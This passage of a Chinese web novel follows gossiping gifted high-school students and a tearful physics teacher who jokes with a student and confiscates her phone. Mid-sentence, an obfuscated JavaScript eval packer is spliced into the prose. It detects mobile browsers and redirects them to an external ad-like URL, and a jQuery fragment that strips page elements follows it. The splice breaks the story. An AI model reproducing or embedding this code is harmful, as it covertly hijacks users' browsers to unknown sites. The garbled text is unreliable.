大家硬生生靠着最为原始的传播方式——口口相传,此事已经成为全校乃至隔壁兄弟高中轰动事件,八卦圈内或者圈外更觉得这是今年唯一具备载入校园野史资格的极具观赏性事件,只是人多口杂,在传播过程中出现了很多不可避免的小误差。 小误差具体表现为与事实查重率无限接近千分之零。 “世界本寂静,何人在喧哗~” 大马猴被堵住去路,幽幽地将话给打断,顺嘴唱出来。 其他人吃瓜都懒得逃跑。 倪旖树大招风,她今天撞到一个男学生故意投怀送抱啦,她连续几天穿同一件校服不讲卫生云云……太多了,包括她跟她那莫须有的小混混男友感情深厚如胶似漆这一点。 大马猴头都要爆炸,头一回认真反省自己的大喇叭属性,脾气再好也烦得慌,气道:“你妹妹的!” “哪个牲口造谣污蔑妹妹?” 大马猴被这群人叽叽喳喳吵死,被围座位里,被阴影覆盖,瘫在椅子上,绝望问:“你们他妈的不写贞子作业?八卦能加血复活还是怎么的?保送,岽大,没疯癫,再问自杀。” “那富二代丁越青,他俩……” 七嘴八舌密密麻麻劈头盖脸砸来。 “兜里就那俩钢镚,也敢称自己富二代?”二次元见缝插针讽刺。 “……”大马猴被夹得要死,憋红脸两边拉架说好话,“简单点说就是,富二代鱼龙混杂,但龙是真龙。” 二次元揉着微微发痛的胃,怼喷主打一个人人平等,叫她闹舔钩子的事情比叫我她吃一斤屎还难受,蹙眉不屑。 大马猴抓耳挠腮解释:“人还是颜值在线,喜欢端庄哈~” “为啥你觉得美丽端庄家世好脑子明白的女生会看上丁越青,为啥?我就问问谁家有正经孩子会同意找他跳火坑?” 何况是倪旖,如果她被火坑缠上,丁戈晖不介意把她偷走每天打一顿。 这小崽子到底会不会被打恼了惹毛了? 她可爱得像是初雪以后松树枝上的小松鼠。 “……” 二次元不依不饶挖苦道:“和他在一起等于搁脸上纹身,付费即可。” “那他白月光倪旖总不能也还付费。”有个极其小的声音夹杂着。 “倪旖看不上丁越青!谁再造谣我就要杀人!”二次元总是一边替倪旖说话一边深深憎恶她,这是跟灵魂对手心照不宣的默契。 不少人屏息,等着八卦答案。 只有靠窗的角落坐着一个很纯朴少年,他微躬着脊背,两条不长不短的腿随意敞着,垂首去看手里拿着的诗集,很安静,就算此刻十级地震他也能不动如山。 此刻体育馆里的拍球或者推搡吵闹声,堪比盛夏窗外的蝉鸣。 那少年左侧肩膀朝下的大半个身体被笼罩在清晨阳光下,连依稀可见那垂落的睫都挑着细碎的金光,毛孔似乎随着呼吸而翕张,缓慢且不易察觉起伏这着,俩颊面上附着薄汗。 林愈合很好奇,隔着一胳膊远戳戳他,那同学本身就是个诗人,总是一副不急不缓的样子,闲时手里拿本《逍遥游》,做着大鹏展翅美梦。 都快高三,何况期末复习将近,奈何最调皮的大马猴都偷偷发奋图强,大家都蛮拼的,要么做数学集训要么练英语听力,就他安详自在。 倒数第一,一点都不慌,他就静静望向窗外。 林愈合虽然倒数第二吧,可到底还是没放弃的,985也还有等级,好歹也要冲冲top3,最低也得C9吧,虽然top3有五所,几率小得有点大,但是乐于助人深殖,总想端正他那种“不思进取”、“无所事事”的态度。 此刻,就算被戳胳膊,男孩却懒得跟她再辩,扭头眼神暗淡,一副深奥的样子说:“早晚有一天你会明白的。” 早晚,是什么时候呢?林愈合不懂的,也许一直都不懂。 林愈合斜睨一眼,觉得他在装逼。 青春期里长着脑袋的大部分都爱忧郁,学校女同学普遍喜欢忧郁,就是这诗人那种没事站在窗边发呆的,时不时叹气显示无奈。 眼角往下耷拉的空洞表情,就是无事呻吟具象化。哪怕根本没事情好忧郁,顶多中午吃饭打到难吃饭菜有点恶心以及后悔没点别的好吃的。 众人面面相觑,大气不敢喘。 15. 游戏 大马猴一时语塞,骤然神经松懈,坐姿豪放地把手搭在课桌椅靠背时,同桌林某就紧绷端坐,死活不往后靠。 而坐VIP位置吃瓜的甄凝、丁索隐则时不时眼神交流,每次交流完都露出公费吃瓜的快乐笑容。 讲真,不怪她俩憋不住,天天坐在瓜田里谁能忍住啊? 大马猴没过多解释,这丁越青兄属于潜意识里不想玩、心里真正归属的类型,玩女人是用钱购买的游戏队友。 他想的最终归属可能让他害怕,担心归属也不是那么值得依靠。 因为太过喜欢,怕过分期待。 让双方都难过。 干脆就花钱约不那么在乎的类型。 大马猴也不能说真相,一着急就发疯,满屋子跑,要是允许,他都得把裤衩子套头上满大街乱逛。 “挺热闹?不知道的还以为咱重点班开轰趴呢。”贞子攥着一盒好时巧克力靠门边,眉眼一副懒散的模样,低头按着手机,漆黑眉眼压着几分戾气。 四散鸟群似的一哄而散,面面相觑着,个个都惧怕得很。 “逛了平价牛郎店的感觉。”林愈合爱补刀。 贞子姐听到也笑笑:“这个油劲卡得恰到好处,更油一点吧看不下去,没那么油吧又没兴趣看,简直是油界的天才啊!” “……”大马猴悻悻而归。 贞子姐揉揉鼻尖:“大家挺努力,也不开窗透透气,这味儿就跟出汗在桑拿天出去闲逛一整天,没干过,馊到泡在高浓度洗衣液里都冲不干净。” 林愈合瞥一眼汗衫都潮透的同桌,偷偷嘀咕:“就像梅雨季节晾了一星期的衣服,可不是重新洗就能去掉味道的,该丢垃圾桶。” 大马猴四处张望,就知道林愈合说他呢。 “你们以为妹妹那样的能批量生产啊?”贞子姐撩起薄薄的眼皮睨了那群人一眼,慢悠悠地发问。 个个不敢再说半字,压迫感太强。 “天才是有点疯癫的。”贞子姐微微敛起笑意,“……妹妹格外天才。” 格外天才,就是格外疯癫。 什么叫公开处刑,这就是了。 教室只剩熟谙的学生偷偷嘀咕。 李贞见识过聪明人,也和聪明人共事过,倪旖很有效率,结果导向,做派都是学术圈泡久了惹着的。 倪旖总结课题时,所有总结和讨论都用邮件完成,哪怕刚开始回国是跟中学教师日常交流也一律使用地道英文,不是带浓重玉米棒子那爱尔兰乡下口音。 见过聪明人做事,李贞的确常常在无意义的教学中感到耐心在缓慢流失。 “贞子姐姐,你有没有看倪旖那采访视频?”刘湖岐眼里冒光。 “嗯,咋了?”贞子姐微微蹙眉,“……虾米摆谱让龙许愿。” 众人一错愕,随后爆笑,满屋子都是快活气息。 就是,那访谈记者高高在上要满足心愿,你丫以为是谁? “那奖金多少?”贞子姐也挺八卦。 “不是太小,”甄凝淡淡道,其实羡慕得发狂,“两百万。” 贞子姐一愣,试探道:“是挺不少的,是我们的货币嘛?” “总不能是津巴布韦币吧?”二次元丁戈晖偷偷嘀咕。 所谓众人拾柴火焰高,同学们都一言难尽点头。 丁戈晖暗暗不爽,嘀咕,不过是左右腾个手事情,还装个逼,傻叉。 “你们要手头紧,找她借点钱,必要的时候,可以跪下来。”贞子姐开玩笑。 “凭我跟妹妹交情,还需要跪嘛?”大马猴骄傲道,“她直接要了我的命。” “她嫌弃你的命粘手。”林愈合幽幽补充。 贞子姐笑笑,缓和一下焦灼气氛:“咱班诗人单论脸能拼一拼,不过他走的温润路线。湖岐倒是挺狂的,可惜他太耿直,不够bking。目前为止,走这路线的,竟然只有灵桓,上蹿下跳,还不错。” “贞子姐姐,可是,大马猴没有成绩又没有脸的bking,只会徒增笑,有一种老大旁边自我感觉良好的跟班感。”林愈合就爱拆台。 “我哪里不帅,还没成绩。”大马猴十分不服气。 其实,这话也就随便说说。 大马猴也是数一数二帅气的,那种健康英气的直男帅哥。 林愈合喜欢看腿,习惯性垂眸,一种是细白薄肌的腿,一般女孩就是她这种。 另一种是黑皮壮肌的腿。 谢灵桓经常运动,此刻校服短裤都撩大腿根,大腿比她腰都粗,穿中筒白袜居然盖不住有腿毛,她喜欢看这种腿运动时肌肉缩张的样子,很性感。 谢灵桓就见林愈合无聊得要命,坐着低头看自己的腿前摇后摆,心里还觉得腿这样摇晃有点可爱,会幻想让自己多分裂出一个克隆人来碰一碰她那脚踝。 贞子姐笑得似倦意袭来,抬眸望着远处操场,桂花浓郁馥郁香好似流连在两个女孩追逐打闹的身影上,一长串嬉笑声回荡在校园上空。 窗外太阳高高悬挂着,除草机器发出咣当咣当的枯燥的声音。 阳光正好照着倪旖侧脸,一半浸在阴影里,一半在阳光下毫发毕现。高高鼻梁,小梨涡在变得若隐若现, 甄凝和她并排站着观篮球战,然后不紧不慢从衣兜里掏出一根棒棒糖,粉红色,草莓味徐福记,酸甜口感。 甄凝垂眸三两下剥开糖衣,秋老虎屁股摸不得,温度太高,糖有些化,空气弥漫一股甜腻腻味道。 “哝。”甄凝喂糖缓解她脾气。 倪旖咬牙切齿把那块糖咬碎了,嘴里叼着根棒子,甜得有点齁:“我就过完暑假就去岽大预科班,体验高三好没趣。” 近几年教育改革,从她那一届,也就是16届开始实行‘3+2+1’新高考模式,该体制一经实行,历史类人数激增,几乎跟物理类人数持平。 正经理科人都是纯种的汉子,不会杂交政治或者地理。 对,杂交品种。 甄凝像个小老头似的摇摇头,压低声音道:“我总觉得你这几天有点暴躁,见人就怼。” 她一贬一捧,拉踩得熟练:“你看人林愈合,柔顺乖巧,一看就贤良淑德,脾气多好,这姑娘骨子里就透着一股温顺,居家过日子型……” “……你可以滚了。”倪旖懒得哔哔赖赖,也懒得听别人哔哔赖赖。 甄凝不说话,侧身看远处黛山。 “每当你厌蠢症发作而想批评别人时,”甄凝淡淡道,“要记住,世上不是每个人都有你这么好的条件。” 这句话很久很久以后,仍在倪旖脑海萦绕,振聋发聩。 “嗯。”倪旖就是坐篮球场边小铁链子上,看小男生搞篮球很有感觉的,就是屁股不咋同意,有点硌。 高一打球小男生对路过的倪旖有些好奇,侧目看着,以至于球没控好,一个手滑砸到篮板边沿,直接弹到场外,往倪旖脑壳撞去。 甄凝虽是看风景,反应速度比倪旖要快,抬手挡住球,只滚到脚边。 其中一个男生吹了声口哨,高高抬起手来做了接球姿势。 心照不宣姿势,场上人抬起手,场边人就会捡球抛扔去,招呼都不用打。 甄凝弯腰捡起篮球,正要扔回,倪旖揪着她衣袖,跋扈自恣,坏笑着做了个接球姿势。 甄凝偏心将球递给倪旖玩。 倪旖往里面抛去。 “倪旖一起玩?”那男孩认识她。 额,我跟你熟吗?就早上被撞。倪旖喃喃自语,还是礼貌笑笑。 这边丁索隐得空去办公室溜达一圈还没回教室,夏天格外炎热,在太阳底下多停留一秒都似乎在被炙烤。 哎,也不怪学生不乖。 那个不算顶级的班级现状如下: 语文课:大型古文观止与近现代鲁迅褒贬时弊小说出口成章大师。 数学课:自学拓扑学和概率论偶尔抬起头怼一怼老师方法太低级。 英语课:都讲英文,老师被学生嫌弃在讲什么澳洲土著口音语言。 哭包彪悍兄窝在办公椅上,往玻璃窗外看一眼,眼圈微微发红,窗外一排还是绿色的树,枝桠在空中摇摆。 “先说明一下,我就一带话的,皇军托我给您带个话,不是没有上下级观念。”丁索隐开玩笑缓解氛围,这个紫衣贵族真的好好笑啊。 看着他强忍着酸楚抽泣模样,连他微微耸动的鼻尖好像也变成了一张一翕的叹息,丁索隐心不由得开始收紧,随后使劲憋笑,这家伙,不戴眼镜,挺搞笑。 “我给你一橛子,滚犊子。”于探赜丝毫不留情,瞥一眼就磕桌面。 于探赜甚至想象多年后某一瞬间记得刚入职时女学生对他百般折磨的无时无刻,就算记不得那人具体名字,对这厮的恨还是翻江倒海,奔流不息。 本来就认识面前这位小同学。 关系也挺好。 咣,咣,咣,颅骨撞击硬木桌面,那声音在安静室内如惊雷般刺穿耳膜。 “你这样——”丁索隐耸耸肩膀示意,“什么意思?” “我在活动翅膀啊。”于探赜眼圈微微发红,连说话都哽咽。 好可爱啊! 丁索隐心脏被捏紧。 “老师,倪旖她就那样,人很好,多处处就好。”丁索隐缓缓走去,习惯性给繁杂桌面收拾。 这习惯还是前一任物理老师培养出的,返聘老婆婆可爱使唤课代表。 怂包兄声音低沉:“你说这样狠心的话,是故意来折磨我么?” 丁索隐一愣。 难道,光提倪旖名字就很恐怖? 胆小如鼠啊~ 换作前物理老师,又要讲一番大道理,上下五千年,纵横八百里。 前物理老师也就是该于探赜母亲,可能是觉得这群小孩无能的程度超出她的现象,所以要在她死之前尽可能多的传授各种知识经验。 导致该位仁兄有点软弱怯懦。 有时却自负傲慢。 充气老虎似的。 比一般人多了解,也只是物理课代表强大而有力的顺风耳发挥作用罢了。 看来倪旖这两个字确实恐怖。 哭包眼泪仿佛断了线的珠子,一颗一颗从通红眼眶里滚落。 “额,不提啦。”丁索隐敷衍。 “为什么这个年纪的女生都喜欢这种蟑螂刘海?”于探赜微微蹙眉,指尖勾一下她那奇怪发型,满脸嫌弃。 丁索隐把他手打掉,瞪一眼。 工作单位领导年富力强,有“电脑桌面洁癖”,看电脑密密麻麻排布文件,他就抓狂。要求大家养成习惯,把文件以有条理的形式分门别类,放文件夹里。 这样将来找起来也容易。 于探赜边哭边整理电脑桌面。 挺凄惨的。 “老——” “谢谢~”于探赜傻躲一边,抱胸悠闲悠闲使唤课代表小同学。 “?”丁索隐一愣,反应过来就是又气又好笑,半弯腰在撒丫子推卸责任哥们注视下无奈专门点击鼠标右键,专门建个每日文件夹,放置文件。 半敷衍完成任务。 “聪明!”于探赜竖大拇指。 丁索隐没注意刚坐一边不小心用胳膊肘蹭到他胳膊肘。 结果—— 他那块红红的,起荨麻疹似的。 “你那儿?”丁索隐微微蹙眉。 于探赜顺着视线瞅一眼胳膊肘,还真得荨麻疹:“你有毒啊?” 丁索隐咬着指甲不信邪,不顾他害怕得连连后退,用力抓他胳膊,他胳膊出了一篇红彤彤的手型的疹子。 “我……有毒?” “我对你过敏?” 两人面面相觑。 “你要不去医院——” “我没事——” 两人默契说话。 随后沉默。 默契跳过略显尴尬话题。 课间批学生练习题,做的很不好,本来就郁郁不得志的于探赜就打开电脑放了一首《黄昏》。 该位仁兄貌似做过无瘢痕灸,衣领一抖影影约约灸过的皮肤微微泛红,有深浅不一的暗黄色印记留在上面。 丁索隐顺嘴一说:“老师,你上次听的不是《冬天的秘密》吗?” 于探赜敷衍说:“是的啊。” 丁索隐故意来了一句:“老师你是不是失恋了,我回去跟我妈说你听这首歌,她说你肯定又失恋了……” 又? 我都没谈过。 失恋个屁! 于探赜略显无语,眉梢一挑,淡淡解释:“……有没有一种可能,这首歌我已经听了十多年了。” 丁索隐装傻充愣:“……原来你已经失恋十多年了啊~” “……”于探赜挥挥手让她哪凉快哪呆着去。 这哥们儿行为跟外表极不符。 首先爱哭,跟人吵架不会骂人,就涨红脸,然后趴桌子哭。也不会打架,掰手腕掰不过女同事,比摔跤,办公室八个男生他排第十一,因为有俩女的体育老师。 丁索隐很快原谅他的郁闷情绪。 “谁叫你来的?”那人咬牙切齿。 “也许,是,使命?”丁索隐打哈哈躲过这问题。 “有进展吗?”于探赜戏谑道。 丁索隐绞尽脑汁敷衍这哭包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222317|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,故作高深道:“有,肯定是有,就是,就是暂时现在还没发现,数量也不是很多,但,但,但,额……肯定是有的。” “倪旖是不是要跟我道歉?跟她说去,我才不要原谅她。”于探赜有点傲娇,抬手摸摸鼻尖。 丁索隐一愣,差点把白眼翻出,依旧保持淡淡笑容:“倪旖她说错了,请求你的原谅,你要不原谅也没事儿~” “哼~”于探赜差点揭桌。 丁索隐连忙给他倒水消气:“有温度的人一般都不怎么成功。你从成功人士那儿感受温度,都是他们演出来的。倪旖那人,你觉得能给谁好脸色?” “……” 骑墙的蝙蝠,两边好处都能沾……事实是,中间派总能吸引到对垒双方的怒火。 于探赜揉揉鼻尖,语气哭噎闭塞道:“周五去不去学校天文台,我偷了把钥匙。” 省级示范学校建海洋科学实验室、分子生物学实验室、虚拟现实实验室、人工智能实验室、机器人实验室、航天测控实验室以及航天创客实验室等创新实验室,社团一堆。 但申请特麻烦。 得绕点路偷摸着进去实验室。 丁索隐兴奋道:“好哒。” 于探赜快速敲击电脑键盘,谈到熟悉领域就很自信,不是虚头巴脑的装逼,肉眼可见的认真,尾调都轻漾。 他是天文学专业,辅修基础物理。 “看,我上次观测超新星,它是一种比较罕见的天象,人类最早观测超新星是中国天文学家公元185年看见SN185,有记载的最亮超新星是SN1006……” 物理教师上次借助天文学习软件找到了SN1006,正愁没人炫耀。 “哇,太美了!”瞬时间,周遭不时传来丁索隐阵阵感叹。 于探赜虚荣心得到极大满足。 突然脑筋一转,哭包他挠了挠头,想起来什么:“对了,你带手机没?” “学校不是规定不让带吗?”丁索隐疑惑,十分警惕。 “学校是不让带啊。”哭包兄狡黠一笑,挑了挑眉,凑过来悄咪咪小声继续问,“所以,你到底带没带?” “……带了。”丁索隐点点头。 哭包展开手掌蜷两下。 “哈?”丁索隐微蹙眉。 “来吧,触犯校规,我行使教师监督权利,上交。” “我没带!” “我都看到了。” “那可能带了。” “……” 当他嘚瑟时不停抖腿导致挂小摆件上纸壳圣诞树剧烈摆动,因空气摩擦,被压缩的纤维素的纤维之间散发出松树和柠檬的香味。 丁索隐瞬间感受到一股森林气息。 随后—— 丁索隐眼睛发光,嗅到一股甜腻香气,像刚出炉的黄油糕点,像成熟苹果上的阳光果香,难道……是他体香? “老师,你好香呀。” “啊?” “男生不都是爱运动出汗?” “我可不一样。” “你不是男生吗?真丢脸。” “我出身高贵所以不用运动的。” “不要小看高贵的人好吧。” …… 于探赜在丁索隐允许下将自己邮箱号添加好,这允许还得废一杯冰镇奶茶收买,不过早就准备好:“有事邮箱联系。” “潮女,你那像爬满了五颜六色的蛆的手机屏幕看得我头皮发麻。”于探赜顺嘴吐槽丁索隐那字体花花绿绿的。 “这叫fashion。”丁索隐傲娇厉害。 “这叫非主流。”于探赜白眼翻着。 “你不把手机还我?”丁索隐就看他随手把自己最新款宝贝塞兜里去,这架势,特熟练,跟当自己的似的。 “没收啦。”于探赜双手一摊。 “你不还我,我等会儿就从窗户翻下去。”丁索隐玩笑。 “二楼死不了人。”于探赜幽幽补充。 “那我就跑到六楼去。”丁索隐这下当真了。 于探赜到底还是直男,根本不了解小女孩喜怒无常的青春期,还继续作死般开玩笑:“死了其实也没有多大的关系,只要不是怀揣炸药当堂拉弦。” 丁索隐眼里立马泪汪汪。 于探赜一愣,赶紧把手机给她,还预备哄哄,只是还没开口,那个天气预报都发愁的脸蛋又挤出笑意来,眼睫毛还湿漉漉的。 “真是,不想睬你。”于探赜掏出自己手机打游戏。 丁索隐装作若无其事,实则偷偷瞥了一眼他手机屏幕。 于探赜盲切到的游戏界面,右下角的系统公告:赶快趁机吃口饭,欢迎回归,您有七封未读邮件,请进行阅读。 赶快趁机吃口饭? 什么鬼游戏名? 走任务容易挨揍。 于探赜趁机看着那闪着红光游戏邮件。 不用猜也知道是什么,丁索隐想着。 于探赜点开一看。 辱骂找揍私信。 丁索隐咕噜咕噜冒泡,无比愉悦坐一边椅子上喝奶茶。 于探赜旁若无人打开王者开始排位赛。 “那个仁兄真搞笑。”丁索隐指着屏幕嘲笑道。 于探赜看着满屏diss辱骂抽空斜过手来隔空阻碍丁索隐视线,淡淡道:“太脏了,别看啦。” 丁索隐一愣,连他什么时候收回手都不知道。 只是他继续玩手游。 “老师,你在砍谁?”丁索隐探头探脑。 于探赜杀红了眼:“我谁都砍,谁都砍得死。” 丁索隐已经把他午餐吮指原味鸡给偷了,边咀嚼边幽幽道:“那你在这里砍了这么久,就没想过回头看看我吗?” 于探赜比较沉迷游戏:“我怕一回头,连你都砍死了。” “……”丁索隐耸耸肩,继续偷吃他午餐。 于探赜开麦:“你们为什么要笑他呢?我觉得他挺有水平。” “首先,面对敌方四人推过来,在前方两个队友一定压力很大,这时候开出大招,但又精准控制在射程外,这就给对面一种心理威慑,过来就一炮一个。” “其次,给正面队友制造安全区域,假如守不住前线了,退回到区域内有强力援助,不至于全线败退。” “第三,让自己处于敌人威胁范围之外,保存实力,活着就有作用,我觉得这兄弟铁定是在青铜白银上炸鱼的,太恐怖了。” “如果我和他对上,我可能会被镇住,小兵都不敢吃,说到吃,我的肯德基原味鸡好像快凉了?哎,那啥,你在干什么,把午餐给我。” “嗝——” 16. 老师 两人间气氛微妙。 眼镜佬唇角憋不住。 “对不起嘛,我都吃完了。” 本来还挺生气,这一打嗝给他气笑了,她胃口真大。 丁索隐甚是耻辱,抢过手机连忙逃跑,还不忘要面子解释:“这次就放过你啦!嗝——,记住,以后就算看到别的女孩子,嗝——,像我一样一口气喝完一大杯冰镇奶茶,嗝——,加上吮指原味鸡,嗝——,打嗝不止,也不准,嗝——笑出声!” “没办法啊,”于探赜有点不好意思摸摸脑壳,望着她一蹦一蹦消失背影,她真的好甜好可爱,笑容灿烂声音也暖还夹,自言自语小声嘀咕,“就像逗小橘猫会发笑一样,因为看到可爱的玩意儿会开心,是人类的本能。” 丁索隐刚回班级,就被白眼一番。 也是,这上班的贱嗖嗖于探赜太招欠。 得到好处同时也招两边厌恶。 丁索隐暂时看不见,满脑子都是星空观测图片,那些白眼都抛掷脑后。 刚进教室正准备拉开椅坐下,椅腿在地上蹭出刺耳咯吱声,路过的倪旖嘴欠:“你属二哈的呀?进来就拆家。” “……”丁索隐无语。 教室还算安静,毕竟要期末考试,考得太拉容易暑假死一回儿。 “你有没有发现时间过得很快?”硫化氢戳戳她椅背。 “啊?你在说话?说什么?再说一遍,我没听到。” “……没什么。”硫化氢扭头瞪了一眼。 丁索隐撑着一支黑色圆珠笔,好像不在想题目,也不知道在想什么,就觉得时间明明很漫长,漫长到她好无聊,窝椅子上里会想起那哭包兄靠在窗台工作的模样,站讲台上举着黑板擦做值日时会想起哭包傲娇嫌弃又不得不在这里讲课的别扭模样,闭上眼睛也都是他的模样…… 一下午时间被无限拉长,好像变得比以前在竞赛队魔鬼集训的一周还要久,当初耗在物理上莫名消失的时间好像被偷偷还了回来。 谁偷走她的时间?丁索隐被莫名情绪笼罩。 倪旖缓解好情绪便回教室,攥着一团毛线在化学课缓慢织毛衣,想着天凉给自家霸总狗穿毛衣。 “妹妹,借我两百。”大马猴鼓捣她胳膊。 倪旖脱口而出:“你的命值两百嘛?” “我给你下跪。”大马猴满脸认真。 “你能跪出钱?”倪旖不解。 “男儿膝下有黄金,我都下跪了。”大马猴摸摸后脖颈。 “关我屁事,爱跪就跪,你膝下是黄铜,卖破烂都没人要。”倪旖烦得要命。 林愈合扶着额略微有点无语。 老师注意到说小话情况,停着写黑板字的手,慢慢悠悠晃下来,径直走到林愈合那块才停下,俯下身表情耐人寻味。 “你们在摆什么迷魂阵呢?”老师轻轻拍一下大马猴肩膀,“你最喜欢摆迷魂阵。” 大马猴耸耸肩,表示“真没干什么”。 老师敲打完毕就回到讲台上继续授课。 九月还没到,燥热得很,天空高而澈,浅蓝色的底,没任何云层的晕染。 楼顶杆上麻雀扑腾着翅膀打破课堂宁静,前晚刚下过一场雨,早桂花被打得七零八落,像被打翻的打铁花液体,在湿漉漉的地面恣意盛放,教室窗户大开着,幽香随风袅袅而来。 老旧风扇发出轻微声响,耳边还有粉笔撞击黑板和水性笔在纸张上发出唰唰声。该死的学校不让清早开空调。 课就跟流水线吃席似的,一堂接着一堂。 “共价键的方向性可以理解为形成共价键时电子云的重叠最大……”生物老师罗勇声音高扬,滔滔不绝在讲台上讲课,唾沫星子都飞前排同学脸上。 大马猴高高举手:“老罗,你看岔了行,那是化学题。” 罗勇一看,果真老眼昏花,看错了题,俗话说,化学生物不分家。 “不好意思啊——” “没事儿~” 罗勇觉得,天才在左疯子在右,一班上小天才,就是一堆疯子,指不定造孽。 杀人不至于,放火有先例。 所以开学前,罗勇兼职班主任看一个礼拜《一个反社会者的自白》《天生变态狂》《第三代囚犯》《精神障碍诊断与统计手册》。 倪旖投入织毛衣中,余光注意老师似乎下讲台把脑袋凑了过来,立刻回过神,镇定地看向黑板伪装起来。 “唉,倪旖,你去办公室。”罗老师把桌上《年轻心理变态的神经解剖学基础》默默地用试卷压起来藏下面,憋着脾气,学校就是对倪旖包容,任课老师不允许骂她,都是看在她父亲的面子上。 她曾经班主任针对管理她还分享过《深牢大狱》《女子监狱》《走近女死囚》之类书籍,挺荒诞无稽。 但别说,还真消停过几天。 原来班主任休产假,教授高中生物课程,负责基因研究院创新体验中心,她指导好几界学生在国际基因工程机器大赛(IGEM)中获得高中组金奖。 倪旖有点懵圈,听见话,抬一下眼皮,目光从对方脸上一扫而过。 不解释、不反省、不搭理。 这态度,显然是最难搞那种刺头。 罗勇暗暗发怵。 俗话说,后排靠窗,王的故乡。 真不假。 倪旖漫不经心看着窗外,还顺带有规律抖着腿,不知是发呆还是怎么,斜斜睨视,一副“你就随便搞,搞死算我输”的模样。 态度极其不端正,冷傲散漫。 罗勇感叹,聪明真好,不像他,一怒之下也就怒了一下。 她母亲打招呼就按正常管理。 该遵守规则去敲打敲打,上板子打手掌也行。 他也不能真拿戒尺揍小姑娘。 “你跟甄凝那作业一模一样,跟古代大臣半夜躲一被窝写折子似的,标点符号都不改。”罗勇皱眉道,也算试探脾性,怕她玩得翻天覆地。 倪旖不理会,自觉抱着一坨毛线一抬眸,没气,特冷淡,就躲门口考试桌坐着织毛衣,准备织圣诞老人麋鹿红白花纹的厚毛衣给狗穿。 不是织毛衣送给狗,是想学织毛衣顺便拿狗衣裳练手,逻辑链条分先后。 虽然不熟练,虽然很枯燥,倪旖还是一点一点学着和厌蠢症和解,坐桌面两脚悬空随风晃动着。 倪旖待一会就没劲,就蹲在围墙边观察蚂蚁,一动不动,甚至用短一截小木棍捉蚂蚱放进培养皿里。 教室有点哄乱。 老罗敲敲黑板解释:“脑袋不好使和脑袋有问题毕竟两码事。” “……”众人感觉受到暴击。 老罗笨嘴拙舌扎刀:“智障和沙雕是两码事,倪旖疯癫,却实在聪明。” “切——”哄闹声。 “电离度非常小,离子会不断电离和结合形成稳定态,即使电离度小,这离子要滴进大海,那也结合不起来。”老罗继续讲习题。 大马猴嘴欠,小声说话:“好悲伤的故事。” “海里各种盐那么多,有电性就能结合,不悲伤,她只是投入海王怀抱,不,它只是变成海王。”林愈合嘀咕着。 “……更悲伤了。”大马猴道。 林愈合杀人诛心道:“海里啥玩意都有,比原配好。” 老罗用教鞭敲敲希沃智能白板,微微蹙眉点人头:“来,谢灵桓,你来说镰刀状贫血会对人造成的影响。” 大马猴跟林愈合说话,根本没听着,右手扶着额头好奇问:“猫连嘴唇都没有,你日常到底在亲pocky什么?” 林愈合面露无语,用圆珠笔帽戳戳他奇怪脑袋,幽幽道:“只要pocky不让我发现嘴巴上正粘着粑粑,那pocky舔过什么我就可以当做不知道。” 大马猴微微皱眉嫌弃道:“我上次去你家玩,pocky还会喝马桶水,你们是过屎的交情啊。” “……”林愈合踹他一脚。 大马猴疼得闷哼一声,没顾着继续疼痛,就听着班主任愈发急促敲击黑板声,还直勾勾盯着他,处于不好预感,瞟了眼板书内容。 镰刀状贫血? 大马猴惊坐起,试探道:“共产?” 老罗顿感无语,示意他坐下,只是无奈解释:“虽然大家都有高考加分,考上理想高校唾手可得,但听说,分越高,各种物质奖励越高。” “真的啊?”大马猴兴奋道。 “咱校某校友的先生是著名企业家倪鸣,设置高考奖励,都要好好努力。”班主任很骄傲举例。 大马猴微微低头,思索片刻,偷偷扭头告诉林愈合:“唉唉唉,倪旖家超有钱的。” “我懂,闭嘴——”林愈合快速记笔记,连头都不抬,拿红笔纠正错题。 “你懂?”大马猴狐疑,瞧见光落下来在她发梢模样,轮廓都模糊,偷偷庆幸着,还好光落下来一瞬,他在。 “都知道。”林愈合示意某人闭嘴。 “都?”大马猴摸摸后脖颈,“我还以为就我知道。” “都晓得。”林愈合揉揉鼻尖敷衍道。 “那你对她好是因为——”大马猴搓揉手背低声问。 “你家很有钱?”林愈合翻白眼。 言外之意。 你家穷就没人跟你玩? 大马猴紧急闭嘴。 “你以为都跟甄凝一样爱吹牛逼。我家这里有关系,那里有关系,全家都有通天本事,就是脱贫困难。”林愈合半带讽刺,声音小得只有俩人听着。 大马猴偷偷观察甄快活,她咬唇专注写习题,便快速戳戳林愈合示意闭嘴。 林愈合本来没多大意见,这一被强行闭麦,睺一眼,不屑道:“还有啊,我准备重新竞选班长职务,就那甄凝,职位敏感自己还不长点觉悟廉洁奉公,东窗事发还死不悔改硬说成被人搞。” 甄凝在班长这职务上多少接收点贿赂,小恩小惠十只手指都说不清楚,林愈合早就不爽她,本来学校就一学习地方,非得搞官僚作风,乌烟瘴气的,真要命。 具体表现为当了大官后站姿和表情都让人觉得蛋疼,基本不管事,指挥人却有一套,不断不经意间显示三道杠挂臂膀上,以便显示职权官位来体现和普通“老百姓”的区别。 “哪天世界末日去野外逃生你得跟着,你这嘴都能钻木取火。”大马猴就一白眼,上课说小话也不怕让人听见难堪。 夏季下午天隔着玻璃窗空调房都嘎嘎热,班级远处湖面波光粼粼,那就跟镜面似的,光线呼啦啦反射,照得人眼底滚烫。 大马猴谨言,忍下这抹烫意,没眨眼,也没再说话。 那甄凝听她这么说,脸色立马变了。 林愈合被一胳膊肘砸来也就不背后蛐蛐儿了,不过她刚才声音有点子大,估计那厮早就听见了。 甄凝瞪一眼左桌刘湖岐,也不见他出来帮忙结尾,估计这会儿正偷偷躲在桌洞里憋笑呢。 想到这儿,心里那个恨啊。 这个恨不是骂,是被亲近之人嘲笑那种屈辱。 他不会不知道她喜欢他,不只是装不知道,装得如此拙劣。 “别介意啊,林愈合就那样愤世嫉俗的。”刘湖岐被看得发毛,敷衍解释,只是敷衍,替谁解释都一样,只是不想替别人委屈。 